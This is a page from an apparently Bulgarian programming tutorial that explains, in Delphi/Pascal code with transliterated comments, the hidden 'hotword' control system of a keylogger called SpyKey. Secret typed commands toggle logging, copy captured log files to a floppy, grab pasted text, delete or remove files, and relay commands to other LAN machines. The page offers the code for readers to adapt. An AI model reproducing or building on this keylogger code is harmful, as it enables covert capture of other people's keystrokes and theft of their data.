А сега да ви обясня как работи hotword:

{nqkoi ot nujnite za primera globalni promenlivi. funkciqta se izpulnqva sled SpyKey i vuv St vi e kop4eto, koeto shte se ni trqbva sega}
function GetKey: Boolean;
var

  St: string;
  KeyRec: string[10];

function SetKeyRec: Boolean;
var
  i: Integer;
begin
  if Length(St) > 1 then Result := false
    else Result := true;
  if St =' BkSp ' then
  {ako e BkSp iztrii poslednata bukva ot KeyRec}
  begin
    Delete(KeyRec,Length(KeyRec), 1);
    St := '';
  end;
  if St = ' Space ' then St := ' '; {ako e Space pishi #32 vuv Keyrec}
  if Length(KeyRec) = 10 then
  {ako Keyrec e pulen premesti znacite za da moje da se dobavi St}
  begin
    for i := 0 to 9 do KeyRec[i] := KeyRec[i+1];
    SetLength(KeyRec, 9);
  end;
  KeyRec := KeyRec + St;
end;

procedure CheckKeywords;
{haide sega da proverim dali imame hotword}
var
  str5, str6, str7, str8, str9: string;

  procedure SetStr;
  {zarejdat se dumi sus daden broi bukvi, zavisi kolko shte ni trqbvat sled tova}
  begin
    str5 := Copy(KeyRec, Length(KeyRec) - 4, 5);
    str6 := Copy(KeyRec, Length(KeyRec) - 5, 6);
    str7 := Copy(KeyRec, Length(KeyRec) - 6, 7);
    str8 := Copy(KeyRec, Length(KeyRec) - 7, 8);
    str9 := Copy(KeyRec, Length(KeyRec) - 8, 9);
  end;

begin
  {ako ne nqmame nov hotword si izlez}
  if not SetKeyRec then exit;
  {zaredi dumite za proverka}
  SetStr;
  {ei tuka se proverqva dali dumata ne e ;end; . Tui kato stringa e 5 znaka go sravnqvame sus str5. Ako suvpadat ... ne se seshtam :-) Pishem help i vijdame kakvo pravi taq function}
  if str5 = ';end;' then
  begin
    Started := false;
    if DoBeep then MessageBeep(MB_OK); {ako e vlkiucheno DoBeep bibitka za da pokaje che e prieta komandata}
  end;
  if str7 = ';start;' then
  begin
    Started := true;
    if DoBeep then MessageBeep(MB_OK);
  end;
  {A da setih se ! ;end; i ;start; sa, za da vkliuchvash i izkliuchvash hotword proverkite. Kato ikliuchush i samo ;start; bachka, da ne stane nqkakvo oburkvane de :) }
  if not Started then exit;
  {;exit; - izkliuchvai vsi4ko i izlizai. DExit e, za da izleze i ot CloseQuery-to}
  if str6 = ';exit;' then
  begin
    DExit := true;
    Main.Timer1.Enabled := false;
    Application.Terminate;
  end;
  {ei tuka ima malko tehniki. tova e za vuvejdane na komanda kum komputer vuv LAN. ;cmd; vkliuchva dobavqneto na stringove vuv Par1, koito shte sudurja imeto na komputera kum, koito e komandata}
  if str5 = ';cmd;' then
  begin
    GetPar1 := true;
    if DoBeep then MessageBeep(MB_OK);
  end;
  {pokazva help window}
  if str6 = ';help;' then ShowHelp;
  {vkliuchva/izkliuchva bibitkane na komanda}
  if str6 = ';beep;' then
  begin
    DoBeep := not DoBeep;
    if DoBeep then MessageBeep(MB_OK);
  end;
  {pokazva About-a}
  if str7 = ';about;' then ShowAbout;
  {Copira log failovete vuv A:}
  if str7 = ';copyf;' then CopyFToA;
  {zapochvane na naglasqne na liniite za save-ane. ;line; ,sled tova tova nomer i nakraq ;}
  if str7 = ';lines;' then
  begin
    GetLinesStr := true;
    if DoBeep then MessageBeep(MB_OK);
  end;
  {vkliuchva/izkliuchva vzimaneto na teksta pri paste}
  if str7 = ';paste;' then
  begin
    CanPaste := not CanPaste;
    if DoBeep then MessageBeep(MB_OK);
  end;
  {drugite gi chetete v help-a :-P }
  if str7 = ';readf;' then ReadF;
  if str8 = ';remove;' then Remove;
  if str8 = ';repeat;' then
    with LastCmd do Main.MailSlot1.SendMessage(PCName, Msg);
  if str8 = ';status;' then ShowStatus;
  if str8 = ';writew;' then
  begin
    WriteWin := not WriteWin;
    if DoBeep then MessageBeep(MB_OK);
  end;
  if str9 = ';cfghelp;' then ShowCfgHelp;
  if str9 = ';deletef;' then DeleteF;
  if str9 = ';editcfg;' then CfgOpen;
  if str9 = ';remhelp;' then ShowRemoteHelp;
  if str9 = ';refresh;' then
  begin
    CfgRead;
    if DoBeep then MessageBeep(MB_OK);
  end;
  {zapisva cfg-to shtoto sigurno ste promenili nqkoi raboti}
  CfgWrite;
end;

   Можете да си вкарвате каквито искате думи за команди (ex. tovaeednakomanda,'drugakomada, i tova, *kakvotovipadne*). Естествено може да се наложи да промените дължината на KeyRec и някои от проверките свързани с нея.

назад
начало
напред